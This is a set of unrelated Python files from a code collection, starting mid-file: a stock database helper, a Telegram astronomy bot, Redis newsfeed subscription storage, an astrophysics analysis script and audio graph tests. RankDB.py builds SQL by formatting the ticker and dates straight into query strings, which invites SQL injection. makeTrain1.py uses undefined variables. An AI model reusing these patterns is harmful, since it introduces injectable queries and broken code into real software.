results[0]['date']\n time_period[0] = time_period[0].strftime(\n \"%Y:%m:%d 00:00:00\")\n\n sql = sql + \\\n \" AND `date` BETWEEN '{}' AND '{}'\".format(\n time_period[0], time_period[1])\n if limit:\n sql = sql + \" LIMIT {}\".format(limit)\n sql = sql + \" ORDER BY `date` DESC;\"\n cursor.execute(sql)\n results = cursor.fetchall()\n cursor.close()\n\n if not results:\n\n return False\n\n if time_normalized:\n\n result_datetimes = [x['date'] for x in results]\n norm_results = []\n times = [results[0]['date'], results[len(results) - 1]['date']]\n\n diff = (times[0] - times[1]).days\n for d in range(diff):\n dt = times[len(times) - 1] + datetime.timedelta(days=d)\n if dt not in result_datetimes:\n norm_results.append({\n \"ticker\": ticker,\n \"date\": dt,\n \"open\": np.nan,\n \"high\": np.nan,\n \"low\": np.nan,\n \"close\": np.nan,\n \"volume\": np.nan})\n else:\n idx = result_datetimes.index(dt)\n norm_results.append(results[idx])\n results = norm_results\n\n if dataframe:\n results = DataFrame(results)\n\n return results\n\n def get_stock_list(self):\n \"\"\"\n Returns every stock as a list\n \"\"\"\n cursor = self.db.cursor()\n sql = \"SELECT `ticker` FROM `corporate_info`;\"\n cursor.execute(sql)\n results = cursor.fetchall()\n cursor.close()\n results = [x['ticker'] for x in results]\n return results\n\n def has_prices(self, ticker, week_start, week_end):\n \"\"\"\n Checks to see if there exists a price for a stock at the given time period.\n returns true if there are results and false is there arent\n \"\"\"\n sql = \"SELECT `id` FROM `stock_data` WHERE `ticker` = '{}' AND `date` BETWEEN '{}' AND '{}' LIMIT 1;\".format(\n ticker, week_start, week_end)\n\n cursor = self.db.cursor()\n cursor.execute(sql)\n results = cursor.fetchall()\n return len(results) != 0\n\n def cache_training_week(self, ranking_object):\n\n rank_keys = ['week_start', 'week_end',\n 'average_volume', 'num_stocks', 'ranking']\n if set(ranking_object.keys()) != set(rank_keys):\n print(list(ranking_object.keys()))\n return False\n\n r = ranking_object\n cursor = self.db.cursor()\n insertion_query = \"INSERT INTO `weekly_ranking_data`(`id`, `week_start`, `week_end`, `average_volume`, `num_stocks`, `ranking`)\"\n insertion_query += \" VALUES (NULL, %s, %s, %s, %s, %s);\"\n\n cursor.execute(insertion_query, (r['week_start'], r['week_end'],\n r['average_volume'], r['num_stocks'], r['ranking']))\n return True\n\n def get_training_weeks(self):\n\n # the total number of training week\n \"\"\"\n Returns a tuple of start and end dates\n \"\"\"\n sql = \"SELECT `week_start`, `week_end` FROM `weekly_ranking_data` ORDER BY `week_start`;\"\n cursor = self.db.cursor()\n cursor.execute(sql)\n results = cursor.fetchall()\n training_periods = [[result['week_start'], result['week_end']]\n for result in results]\n return training_periods\n\n def get_sentiment_cache(self, ticker, time_period=False):\n \"\"\"\n Retrieves the sentiments given an articles publish date and a ticker value\n\n Parameters:\n - ticker :: The ticker of which to retrieve the sentiment information from \n - time_period :: A list with the 0th index being the start date and the 1st\n index corresponding to the end date. if not specified all \n sentiments will be returned\n\n Returns:\n - sentiment_cache :: A list of dicts from the start date to the end date (if specified)\n with the following keys: [published_on, sentiment]\n\n \"\"\"\n cursor = self.db.cursor()\n\n query = \"SELECT `published_on`, `sentiment` from `article_sentiment_cache` WHERE match(ticker) against (%s in boolean mode)\"\n\n if time_period:\n start = time_period[0]\n end = time_period[1]\n query = query + \\\n \" AND `published_on` BETWEEN %s AND %s\".format(start, end)\n\n query = query + \" ORDER BY `published_on` DESC;\"\n\n if time_period:\n cursor.execute(query, (ticker, start, end))\n\n results = cursor.fetchall()\n\n else:\n cursor.execute(query, ticker)\n return results\n\n def test(self):\n cursor = self.db.cursor()\n d1 = datetime.datetime.strptime(\"2021-07-24\", \"%Y-%m-%d\")\n d2 = datetime.datetime.strptime(\"2021-07-25\", \"%Y-%m-%d\")\n\n q1 = \"SELECT COUNT(*) FROM article_sentiment_cache WHERE published_on BETWEEN '2021-07-24' AND '2021-07-25';\"\n q2 = \"SELECT COUNT(*) FROM article_sentiment_cache WHERE published_on BETWEEN %s AND %s;\"\n\n cursor.execute(q1)\n results = cursor.fetchall()\n cursor.execute(q2, (d1, d2))\n res2 = cursor.fetchall()\n print(results[0]['COUNT(*)'])\n print(res2[0]['COUNT(*)'])\n","sub_path":"RankDB.py","file_name":"RankDB.py","file_ext":"py","file_size_in_byte":7951,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"442351686","text":"\"\"\"\r\n Установите модуль ephem\r\n* Добавьте в бота команду /planet, которая будет принимать на вход \r\n название планеты на анг��ийском, например /planet Mars\r\n* В функции-обработчике команды из update.message.text получите \r\n название планеты (подсказка: используйте .split())\r\n* При помощи условного оператора if и ephem.constellation научите \r\n бота отвечать, в каком созвездии сегодня находится планета.\r\n\"\"\"\r\nimport logging\r\nimport ephem\r\nfrom telegram.ext import Updater , CommandHandler , MessageHandler ,\\\r\n Filters\r\n\r\n\r\nimport settings\r\nlogging.basicConfig(filename = 'bot.log' , level = logging.DEBUG)\r\n\r\nPROXY = {'proxy_url' : settings.PROXY_URL , \r\n 'urllib3_proxy_kwargs' : {'username' : settings.PROXY_USERNAME ,\r\n 'password' : settings.PROXY_PASSWORD}}\r\n\r\nplanets = {\r\n 'Mars': ephem.Mars('2020/09/22'),\r\n 'Venus': ephem.Venus('2020/09/22'),\r\n 'Mercury': ephem.Mercury('2020/09/22'),\r\n 'Uranus' : ephem.Uranus('2020/09/22'),\r\n 'Jupiter': ephem.Jupiter('2020/09/22'),\r\n 'Neptune': ephem.Neptune(\"2019/09/22\"),\r\n 'Saturn': ephem.Saturn('2020/09/22'),\r\n 'Pluto': ephem.Pluto('2020/09/22')\r\n \r\n }\r\n\r\ndef talk_to_me(update,context):\r\n pass\r\n \r\n \r\ndef greet_user(update,context):\r\n print(\"Вызван /старт\")\r\n update.message.reply_text('Здравствуй пользователь')\r\n\r\ndef return_locat(update,context):\r\n print('вызвана команда /planet')\r\n user_text = str(update.message.text.split()[1].lower().\\\r\n capitalize())\r\n print(user_text)\r\n update.message.reply_text(ephem.constellation(planets.get(user_text)))\r\n \r\n\r\n\r\ndef main():\r\n mybot = Updater(settings.API_KEY, \r\n use_context=True , request_kwargs=PROXY)\r\n\r\n dp = mybot.dispatcher\r\n dp.add_handler(CommandHandler('start', greet_user))\r\n dp.add_handler(CommandHandler('planet', return_locat))\r\n dp.add_handler(MessageHandler(Filters.text , talk_to_me))\r\n \r\n logging.info(' Бот стартонул')\r\n \r\n mybot.start_polling()\r\n mybot.idle()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n\r\n\r\n","sub_path":"8_eph_bot.py","file_name":"8_eph_bot.py","file_ext":"py","file_size_in_byte":2378,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"406539141","text":"from typing import Any\n\nfrom publishing_platform.repo.common.common_dto import *\n\n__all__ = [\n \"update_rating\",\n]\n\n\nasync def update_rating(data: UpdateRoleFAPI, entity_model: Any):\n result = (\n await entity_model.update.values(rating=entity_model.rating + data.value)\n .where(entity_model.id == data.entity_id)\n .gino.status()\n )\n","sub_path":"repo/common/common_service.py","file_name":"common_service.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"556661132","text":"import os, glob, random;\r\nfrom PIL import Image\r\nfrom skimage import img_as_float,color\r\nimport numpy as np\r\nimport scipy.io as sio\r\nfrom matplotlib import pyplot as plt\r\n\r\ndirName = 'raw/train';\r\noutFolder = 'random/train';\r\n\r\nif not os.path.exists('random/train'):\r\n os.makedirs('random/train')\r\nlistOfFolders = os.listdir(dirName)\r\ni =0\r\nfor folder in listOfFolders:\r\n\tf = os.path.join(dirName,folder)\r\n\t# print(f)\r\n\tnames = []\r\n\r\n\tfor file in os.listdir(f):\r\n\t\tif file.endswith(\"jpg\"):\r\n\t\t\tif file!='thumb.jpg':\r\n\t\t\t\tnames.append(file)\t\r\n\r\n\trandomNums = random.sample(range(0,24), 2)\r\n\t\t# print(randomNums)\r\n\t\t\t\t\t\t\t\t\r\n\twhile randomNums[0] == randomNums[1]:\r\n\t\trandomNums[1] = random.sample(range(0,24))\r\n\timage1 = os.path.join(f, names[randomNums[0]])\r\n\timage2 = os.path.join(f, names[randomNums[1]])\r\n\timage1 = Image.open(image1)\r\n\timage2 = Image.open(image2)\r\n\timage1 = image1.resize((256, 256))\r\n\timage2 = image2.resize((256, 256))\r\n\t\r\n\tim1 = color.rgb2xyz(image1)\r\n\tim2 = color.rgb2xyz(image2)\r\n\r\n\timag = (im1 + im2)/2\r\n\timag = color.xyz2rgb(imag)\r\n\timag = img_as_float(imag)\r\n\r\n\tmatName = str(i)+\".mat\"\r\n\twidth , height = image1.size\r\n\tim1 = np.zeros([width,height,3],dtype=np.float)\r\n\tim2 = np.zeros([width,height,3],dtype=np.float)\r\n\tchrom = np.zeros([width,height,3],dtype=np.float)\r\n\tmask = np.zeros([width,height,3],dtype=np.float)\r\n\tmask.fill(1)\r\n\r\n\tcompleteName = os.path.join(outFolder, matName) \r\n\tsio.savemat(completeName , {'img1':img1,'img2':img2, 'imag':imag, 'im1': im1, 'im2':im2, 'chrom':chrom, 'mask':mask})\r\n\ti = i+1\r\n\tprint(i)\t\t\r\n","sub_path":"data/makeTrain1.py","file_name":"makeTrain1.py","file_ext":"py","file_size_in_byte":1563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"602417317","text":"\"\"\"Import files and import/install necessary libraries\"\"\"\nimport preparation_functions as pf\nimport error_detection_functions as edf\nimport error_correction_functions as ecf\nimport exporting_functions as ef\nimport os\n\n# pip install transformers\n\n# pip install grammarbot\n\n\n\"\"\"Main for Caption Correction\"\"\"\n# Get filename\n# filename = \"GenerateSRT.txt\"\nfilename = input(\"What is the name of the file you want to correct? \\n\")\nallow_profanity = pf.get_allow_profanity()\n\n\nif os.path.exists(filename):\n # Setup functions\n text_list, timestamps = pf.get_file(filename)\n client = pf.initialize_api()\n sentences = pf.print_sentences(text_list)\n suggestion_num = 5\n\n # Setup dictionary list\n dictionary_list = []\n\n # Main/Full error correction process\n for i, token in enumerate(sentences):\n sequence_switched, end_matches, offset_list, err_message = edf.detect_errors(str(sentences[i]), client,\n allow_profanity)\n\n suggestion_list = ecf.replace_errors(suggestion_num, sequence_switched, end_matches, offset_list)\n\n # Create readout and dictionary objects\n result = ef.print_readout(suggestion_list, err_message, sequence_switched)\n dictionary = ef.create_dictionary(timestamps[i], sentences[i], sequence_switched, err_message, suggestion_list)\n dictionary_list.append(dictionary)\n print(result)\n\n print(dictionary_list)\n\nelse:\n print(\"File couldn't be found.\")\n","sub_path":"detection/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1522,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"470026680","text":"import numpy as np\nimport illustris_python1 as il\nfrom multiprocessing import Pool\nfrom functools import reduce\n\n\ndef HalfTime(id):\n \n def sort(Arr,Num):\n Arr = np.absolute(Arr - Num/2)\n index = np.argsort(Arr)[0]\n \n return index\n \n basePath = '/srv/cosmdatb/erebos/peng/sims.TNG/TNG300-1/output'\n snapNum = 99\n Fields = ['SnapNum','SubhaloMassType','SubfindID','SubhaloBHMass','SubhaloHalfmassRadType']\n Redshift = dict(np.load('/srv/cosmdatb/erebos/yingzhong/selData/data/SnapRedshift.npz'))['Redshift']\n \n ScaleFactor = 1/(Redshift+1)\n result = {}\n \n tree = il.sublink.loadTree(basePath, snapNum, id=id, fields=Fields, onlyMPB=True)\n \n for i in np.arange(len(tree['SnapNum'])):\n tree['SubhaloHalfmassRadType'][:,4][i] = ScaleFactor[tree['SnapNum'][i]] * tree['SubhaloHalfmassRadType'][:,4][i]\n \n indexStar = sort(tree['SubhaloMassType'][:,4],tree['SubhaloMassType'][:,4][0])\n indexHalo = sort(tree['SubhaloMassType'][:,1],tree['SubhaloMassType'][:,1][0])\n indexBH1 = sort(tree['SubhaloMassType'][:,5],tree['SubhaloMassType'][:,5][0])\n indexBH = sort(tree['SubhaloBHMass'],tree['SubhaloBHMass'][0])\n indexRe = sort(tree['SubhaloHalfmassRadType'][:,4],tree['SubhaloHalfmassRadType'][:,4][0])\n \n result['RedshiftHalfStar'] = Redshift[tree['SnapNum'][indexStar]]\n result['RedshiftHalfHalo'] = Redshift[tree['SnapNum'][indexHalo]]\n result['RedshiftHalfBH'] = Redshift[tree['SnapNum'][indexBH]]\n result['RedshiftHalfBH1'] = Redshift[tree['SnapNum'][indexBH1]]\n result['RedshiftHalRe'] = Redshift[tree['SnapNum'][indexRe]]\n \n return result\n\nfMmass = dict(np.load('/srv/cosmdatb/erebos/yingzhong/selData/data/haveBH.npz'))\nf1 = dict(np.load('/srv/cosmdatb/erebos/yingzhong/selData/data/haveBH_025.npz'))\n\nindex = reduce(np.intersect1d,\n (np.where(np.array(fMmass['sSFR']) > -11),\n np.where(np.array(fMmass['ratioS_T']) <= 0.25)))\n\nIndexform = fMmass['subHaloID'][index]\nIndexquench = f1['subHaloID']\n\nform = {'RedshiftHalfStar':np.zeros(0),\n 'RedshiftHalfHalo':np.zeros(0),\n 'RedshiftHalfBH':np.zeros(0),\n 'RedshiftHalfBH1':np.zeros(0),\n 'RedshiftHalRe':np.zeros(0)}\n\n#quench = {'RedshiftHalfStar':np.zeros(0),\n# 'RedshiftHalfHalo':np.zeros(0),\n# 'RedshiftHalfBH':np.zeros(0),\n# 'RedshiftHalfBH1':np.zeros(0),\n# 'RedshiftHalRe':np.zeros(0)}\n\nif __name__ ==\"__main__\":\n p = Pool(32)\n results = p.map(HalfTime,Indexform)\n p.close()\n p.join()\n \nfor i in np.arange(len(results)):\n form['RedshiftHalfStar'] = np.append(form['RedshiftHalfStar'],results[i]['RedshiftHalfStar'])\n form['RedshiftHalfHalo'] = np.append(form['RedshiftHalfHalo'],results[i]['RedshiftHalfHalo'])\n form['RedshiftHalfBH'] = np.append(form['RedshiftHalfBH'],results[i]['RedshiftHalfBH'])\n form['RedshiftHalfBH1'] = np.append(form['RedshiftHalfBH1'],results[i]['RedshiftHalfBH1'])\n form['RedshiftHalRe'] = np.append(form['RedshiftHalRe'],results[i]['RedshiftHalRe'])\n \nnp.savez('/srv/cosmdatb/erebos/yingzhong/selData/data/Halftime_form.npz',\n RedshiftHalfStar = form['RedshiftHalfStar'],RedshiftHalfHalo=form['RedshiftHalfHalo'],\n RedshiftHalfBH = form['RedshiftHalfBH'],RedshiftHalfBH1=form['RedshiftHalfBH1'],\n RedshiftHalRe = form['RedshiftHalRe']) \n ","sub_path":"code/HalfTime.py","file_name":"HalfTime.py","file_ext":"py","file_size_in_byte":3435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"310218148","text":"#!/usr/bin/python -B\nimport sys\nimport appCore.core\n\ncore = appCore.core.gpg_core()\n\n# try:\nif (len(sys.argv) >= 1):\n\t# print (sys.argv[1:])\n\tfileNames = sys.argv[1:]\n\n\tfinalName = raw_input('Filename: ')\n\n\t# wr = open('log.txt', 'w')\n\t# for x in fileNames:\n\t# \twr.write(x+'\\n')\n\t# wr.close()\n\n\tcore.start(fileNames,finalName)","sub_path":"dropEnc.py","file_name":"dropEnc.py","file_ext":"py","file_size_in_byte":326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"389303537","text":"\"\"\"Infrastructure subscription storages module.\"\"\"\n\nimport json\nfrom collections import defaultdict, deque\nfrom contextlib import asynccontextmanager\nfrom typing import Iterable, Deque, Dict, Union\n\nimport aioredis\n\nfrom .utils import parse_redis_dsn\n\n\nSubscriptionData = Dict[str, Union[str, int]]\n\n\nclass SubscriptionStorage:\n \"\"\"Subscription storage.\"\"\"\n\n def __init__(self, config: Dict[str, str]):\n \"\"\"Initialize storage.\"\"\"\n self._config = config\n\n async def get_by_newsfeed_id(self, newsfeed_id: str) -> Iterable[SubscriptionData]:\n \"\"\"Return subscriptions of specified newsfeed.\"\"\"\n raise NotImplementedError()\n\n async def get_by_to_newsfeed_id(self, newsfeed_id: str) -> Iterable[SubscriptionData]:\n \"\"\"Return subscriptions to specified newsfeed.\"\"\"\n raise NotImplementedError()\n\n async def get_by_fqid(self, newsfeed_id: str, subscription_id: str) -> SubscriptionData:\n \"\"\"Return subscription of specified newsfeed.\"\"\"\n raise NotImplementedError()\n\n async def get_between(self, newsfeed_id: str, to_newsfeed_id: str) -> SubscriptionData:\n \"\"\"Return subscription between specified newsfeeds.\"\"\"\n raise NotImplementedError()\n\n async def add(self, subscription_data: SubscriptionData) -> None:\n \"\"\"Add subscription data to the storage.\"\"\"\n raise NotImplementedError()\n\n async def delete_by_fqid(self, newsfeed_id: str, subscription_id: str) -> None:\n \"\"\"Delete specified subscription.\"\"\"\n raise NotImplementedError()\n\n\nclass InMemorySubscriptionStorage(SubscriptionStorage):\n \"\"\"Subscription storage that stores subscriptions in memory.\"\"\"\n\n def __init__(self, config: Dict[str, str]):\n \"\"\"Initialize queue.\"\"\"\n super().__init__(config)\n self._subscriptions_storage: Dict[str, Deque[SubscriptionData]] = defaultdict(deque)\n self._subscribers_storage: Dict[str, Deque[SubscriptionData]] = defaultdict(deque)\n\n self._max_newsfeed_ids = int(config['max_newsfeeds'])\n self._max_subscriptions_per_newsfeed = int(config['max_subscriptions_per_newsfeed'])\n\n async def get_by_newsfeed_id(self, newsfeed_id: str) -> Iterable[SubscriptionData]:\n \"\"\"Return subscriptions of specified newsfeed.\"\"\"\n newsfeed_subscriptions_storage = self._subscriptions_storage[newsfeed_id]\n return list(newsfeed_subscriptions_storage)\n\n async def get_by_to_newsfeed_id(self, newsfeed_id: str) -> Iterable[SubscriptionData]:\n \"\"\"Return subscriptions to specified newsfeed.\"\"\"\n newsfeed_subscribers_storage = self._subscribers_storage[newsfeed_id]\n return list(newsfeed_subscribers_storage)\n\n async def get_by_fqid(self, newsfeed_id: str, subscription_id: str) -> SubscriptionData:\n \"\"\"Return subscription of specified newsfeed.\"\"\"\n newsfeed_subscriptions_storage = self._subscriptions_storage[newsfeed_id]\n for subscription_data in newsfeed_subscriptions_storage:\n if subscription_data['id'] == subscription_id:\n return subscription_data\n else:\n raise SubscriptionNotFound(\n newsfeed_id=newsfeed_id,\n subscription_id=subscription_id,\n )\n\n async def get_between(self, newsfeed_id: str, to_newsfeed_id: str) -> SubscriptionData:\n \"\"\"Return subscription between specified newsfeeds.\"\"\"\n if newsfeed_id not in self._subscriptions_storage:\n raise SubscriptionBetweenNotFound(\n newsfeed_id=newsfeed_id,\n to_newsfeed_id=to_newsfeed_id,\n )\n newsfeed_subscriptions_storage = self._subscriptions_storage[newsfeed_id]\n for subscription_data in newsfeed_subscriptions_storage:\n if subscription_data['to_newsfeed_id'] == to_newsfeed_id:\n return subscription_data\n else:\n raise SubscriptionBetweenNotFound(\n newsfeed_id=newsfeed_id,\n to_newsfeed_id=to_newsfeed_id,\n )\n\n async def add(self, subscription_data: SubscriptionData) -> None:\n \"\"\"Add subscription data to the storage.\"\"\"\n subscription_id = str(subscription_data['id'])\n newsfeed_id = str(subscription_data['newsfeed_id'])\n to_newsfeed_id = str(subscription_data['to_newsfeed_id'])\n\n if len(self._subscriptions_storage) >= self._max_newsfeed_ids:\n raise NewsfeedNumberLimitExceeded(newsfeed_id, self._max_newsfeed_ids)\n\n subscriptions_storage = self._subscriptions_storage[newsfeed_id]\n subscribers_storage = self._subscribers_storage[to_newsfeed_id]\n\n if len(subscriptions_storage) >= self._max_subscriptions_per_newsfeed:\n raise SubscriptionNumberLimitExceeded(\n subscription_id,\n newsfeed_id,\n to_newsfeed_id,\n self._max_subscriptions_per_newsfeed,\n )\n\n subscriptions_storage.appendleft(subscription_data)\n subscribers_storage.appendleft(subscription_data)\n\n async def delete_by_fqid(self, newsfeed_id: str, subscription_id: str) -> None:\n \"\"\"Delete specified subscription.\"\"\"\n newsfeed_subscriptions_storage = self._subscriptions_storage[newsfeed_id]\n\n subscription_data = None\n for subscription in newsfeed_subscriptions_storage:\n if subscription['id'] == subscription_id:\n subscription_data = subscription\n break\n\n if subscription_data is None:\n raise SubscriptionNotFound(\n newsfeed_id=newsfeed_id,\n subscription_id=subscription_id,\n )\n\n to_newsfeed_id = str(subscription_data['to_newsfeed_id'])\n newsfeed_subscribers_storage = self._subscribers_storage[to_newsfeed_id]\n\n newsfeed_subscribers_storage.remove(subscription_data)\n newsfeed_subscriptions_storage.remove(subscription_data)\n\n\nclass RedisSubscriptionStorage(SubscriptionStorage):\n \"\"\"Subscription storage that stores subscriptions in redis.\"\"\"\n\n def __init__(self, config: Dict[str, str]):\n \"\"\"Initialize queue.\"\"\"\n super().__init__(config)\n\n redis_config = parse_redis_dsn(config['dsn'])\n self._pool = aioredis.pool.ConnectionsPool(\n address=redis_config['address'],\n db=int(redis_config['db']),\n create_connection_timeout=int(redis_config['connection_timeout']),\n minsize=int(redis_config['minsize']),\n maxsize=int(redis_config['maxsize']),\n encoding='utf-8',\n )\n\n async def get_by_newsfeed_id(self, newsfeed_id: str) -> Iterable[SubscriptionData]:\n \"\"\"Return subscriptions of specified newsfeed.\"\"\"\n subscriptions_storage = []\n async with self._get_connection() as redis:\n for subscription in await redis.lrange(\n key=f'subscriptions:{newsfeed_id}',\n start=0,\n stop=-1,\n ):\n subscriptions_storage.append(json.loads(subscription))\n return subscriptions_storage\n\n async def get_by_to_newsfeed_id(self, newsfeed_id: str) -> Iterable[SubscriptionData]:\n \"\"\"Return subscriptions to specified newsfeed.\"\"\"\n subscribers_storage = []\n async with self._get_connection() as redis:\n for subscriber in await redis.lrange(\n key=f'subscribers:{newsfeed_id}',\n start=0,\n stop=-1,\n ):\n subscribers_storage.append(json.loads(subscriber))\n return subscribers_storage\n\n async def get_by_fqid(self, newsfeed_id: str, subscription_id: str) -> SubscriptionData:\n \"\"\"Return subscription of specified newsfeed.\"\"\"\n async with self._get_connection() as redis:\n subscription = await redis.get(f'subscription:{subscription_id}')\n\n if not subscription:\n raise SubscriptionNotFound(\n newsfeed_id=newsfeed_id,\n subscription_id=subscription_id,\n )\n\n return json.loads(subscription)\n\n async def get_between(self, newsfeed_id: str, to_newsfeed_id: str) -> SubscriptionData:\n \"\"\"Return subscription between specified newsfeeds.\"\"\"\n async with self._get_connection() as redis:\n subscription = await redis.get(\n f'subscription_between:{newsfeed_id}{to_newsfeed_id}'\n )\n\n if not subscription:\n raise SubscriptionBetweenNotFound(\n newsfeed_id=newsfeed_id,\n to_newsfeed_id=to_newsfeed_id,\n )\n\n return json.loads(subscription)\n\n async def add(self, subscription_data: SubscriptionData) -> None:\n \"\"\"Add subscription data to the storage.\"\"\"\n subscription_id = str(subscription_data['id'])\n newsfeed_id = str(subscription_data['newsfeed_id'])\n to_newsfeed_id = str(subscription_data['to_newsfeed_id'])\n\n async with self._get_connection() as redis:\n await redis.lpush(\n key=f'subscriptions:{newsfeed_id}',\n value=json.dumps(subscription_data),\n )\n await redis.lpush(\n key=f'subscribers:{to_newsfeed_id}',\n value=json.dumps(subscription_data),\n )\n await redis.set(\n key=f'subscription:{subscription_id}',\n value=json.dumps(subscription_data),\n )\n await redis.set(\n key=f'subscription_between:{newsfeed_id}{to_newsfeed_id}',\n value=json.dumps(subscription_data),\n )\n\n async def delete_by_fqid(self, newsfeed_id: str, subscription_id: str) -> None:\n \"\"\"Delete specified subscription.\"\"\"\n async with self._get_connection() as redis:\n subscription_key = f'subscription:{subscription_id}'\n subscription = await redis.get(subscription_key)\n\n if not subscription:\n raise SubscriptionNotFound(\n newsfeed_id=newsfeed_id,\n subscription_id=subscription_id,\n )\n\n subscription_data = json.loads(subscription)\n to_newsfeed_id = subscription_data['to_newsfeed_id']\n subscriptions = f'subscriptions:{newsfeed_id}'\n subscribers = f'subscribers:{to_newsfeed_id}'\n subscription_between = \\\n f'subscription_between:{newsfeed_id}{to_newsfeed_id}'\n\n await redis.lrem(subscriptions, 1, subscription)\n await redis.lrem(subscribers, 1, subscription)\n await redis.delete(subscription_between)\n await redis.delete(subscription_key)\n\n @asynccontextmanager\n async def _get_connection(self) -> aioredis.commands.Redis:\n async with self._pool.get() as connection:\n redis = aioredis.commands.Redis(connection)\n yield redis\n\n\nclass SubscriptionStorageError(Exception):\n \"\"\"Subscription-storage-related error.\"\"\"\n\n @property\n def message(self) -> str:\n \"\"\"Return error message.\"\"\"\n return 'Newsfeed subscription storage error'\n\n\nclass SubscriptionNotFound(SubscriptionStorageError):\n \"\"\"Error indicating situations when subscription could not be found in the storage.\"\"\"\n\n def __init__(self, newsfeed_id: str, subscription_id: str):\n \"\"\"Initialize error.\"\"\"\n self._newsfeed_id = newsfeed_id\n self._subscription_id = subscription_id\n\n @property\n def message(self) -> str:\n \"\"\"Return error message.\"\"\"\n return (\n f'Subscription \"{self._subscription_id}\" could not be found in newsfeed '\n f'\"{self._newsfeed_id}\"'\n )\n\n\nclass SubscriptionBetweenNotFound(SubscriptionStorageError):\n \"\"\"Error indicating situations when subscription between newsfeeds could not be found.\"\"\"\n\n def __init__(self, newsfeed_id: str, to_newsfeed_id: str):\n \"\"\"Initialize error.\"\"\"\n self._newsfeed_id = newsfeed_id\n self._to_newsfeed_id = to_newsfeed_id\n\n @property\n def message(self) -> str:\n \"\"\"Return error message.\"\"\"\n return (\n f'Subscription from newsfeed \"{self._newsfeed_id}\" to \"{self._to_newsfeed_id}\" '\n f'could not be found'\n )\n\n\nclass NewsfeedNumberLimitExceeded(SubscriptionStorageError):\n \"\"\"Error indicating situations when number of newsfeeds exceeds maximum.\"\"\"\n\n def __init__(self, newsfeed_id: str, max_newsfeed_ids: int):\n \"\"\"Initialize error.\"\"\"\n self._newsfeed_id = newsfeed_id\n self._max_newsfeed_ids = max_newsfeed_ids\n\n @property\n def message(self) -> str:\n \"\"\"Return error message.\"\"\"\n return (\n f'Newsfeed \"{self._newsfeed_id}\" could not be added to the storage because limit '\n f'of newsfeeds number exceeds maximum {self._max_newsfeed_ids}'\n )\n\n\nclass SubscriptionNumberLimitExceeded(SubscriptionStorageError):\n \"\"\"Error indicating situations when number of subscriptions per newsfeed exceeds maximum.\"\"\"\n\n def __init__(self, subscription_id: str, newsfeed_id: str, to_newsfeed_id: str,\n max_subscriptions_per_newsfeed: int):\n \"\"\"Initialize error.\"\"\"\n self._subscription_id = subscription_id\n self._newsfeed_id = newsfeed_id\n self._to_newsfeed_id = to_newsfeed_id\n self._max_subscriptions_per_newsfeed = max_subscriptions_per_newsfeed\n\n @property\n def message(self) -> str:\n \"\"\"Return error message.\"\"\"\n return (\n f'Subscriptions \"{self._subscription_id}\" from newsfeed {self._newsfeed_id} to '\n f'{self._to_newsfeed_id} could not be added to the storage because limit of '\n f'subscriptions per newsfeed exceeds maximum {self._max_subscriptions_per_newsfeed}'\n )\n","sub_path":"src/newsfeed/infrastructure/subscription_storages.py","file_name":"subscription_storages.py","file_ext":"py","file_size_in_byte":13851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"270391056","text":"from signalflow import AudioGraph, AudioOut_Dummy, Buffer, SineOscillator, Line, Constant, Add\nfrom . import process_tree, count_zero_crossings\nimport pytest\nimport numpy as np\n\ndef test_graph():\n graph = AudioGraph()\n assert graph\n del graph\n\ndef test_graph_sample_rate():\n graph = AudioGraph()\n assert graph.sample_rate > 0\n graph.sample_rate = 1000\n assert graph.sample_rate == 1000\n\n with pytest.raises(Exception):\n graph.sample_rate = 0\n\n buf = Buffer(1, 1000)\n sine = SineOscillator(10)\n process_tree(sine, buf)\n assert count_zero_crossings(buf.data[0]) == 10\n\n del graph\n\ndef test_graph_cyclic():\n graph = AudioGraph()\n graph.sample_rate = 1000\n line = Line(0, 1, 1)\n m1 = line * 1\n m2 = line * 2\n add = m1 + m2\n graph.play(add)\n buf = Buffer(1, 1000)\n graph.render_to_buffer(buf)\n assert np.all(np.abs(buf.data[0] - np.linspace(0, 3, graph.sample_rate)) < 0.00001)\n del graph\n\ndef test_graph_render():\n graph = AudioGraph()\n sine = SineOscillator(440)\n graph.play(sine)\n with pytest.raises(RuntimeError):\n graph.render(441000)\n del graph\n\ndef test_graph_add_remove_node():\n graph = AudioGraph()\n constant1 = Constant(1)\n constant2 = Constant(2)\n add = Add(constant1, constant2)\n graph.add_node(add)\n buffer = Buffer(1, 1024)\n graph.render_to_buffer(buffer)\n assert np.all(buffer.data[0] == 0.0)\n assert np.all(add.output_buffer[0] == 3)\n del graph\n\n graph = AudioGraph()\n constant1 = Constant(1)\n constant2 = Constant(2)\n add = Add(constant1, constant2)\n graph.add_node(add)\n graph.remove_node(add)\n buffer = Buffer(1, 1024)\n graph.render_to_buffer(buffer)\n assert np.all(buffer.data[0] == 0.0)\n assert np.all(add.output_buffer[0] == 0)\n del graph\n\ndef test_graph_dummy_audioout():\n output = AudioOut_Dummy(2)\n graph = AudioGraph(output_device=output)\n\n sine = SineOscillator([ 220, 440 ])\n graph.play(sine)\n\n graph.render(1024)\n samples = graph.output.output_buffer[0][:1024]\n assert len(samples) == 1024\n\n del graph\n\ndef test_graph_clear():\n graph = AudioGraph()\n c1 = Constant(1)\n graph.play(c1)\n c2 = Constant(2)\n graph.play(c2)\n buffer = Buffer(1, 1024)\n graph.render_to_buffer(buffer)\n assert np.all(buffer.data[0] == 3)\n graph.clear()\n graph.render_to_buffer(buffer)\n assert np.all(buffer.data[0] == 0)\n","sub_path":"tests/test_graph.py","file_name":"test_graph.py","file_ext":"py","file_size_in_byte":2439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"400426876","text":"import 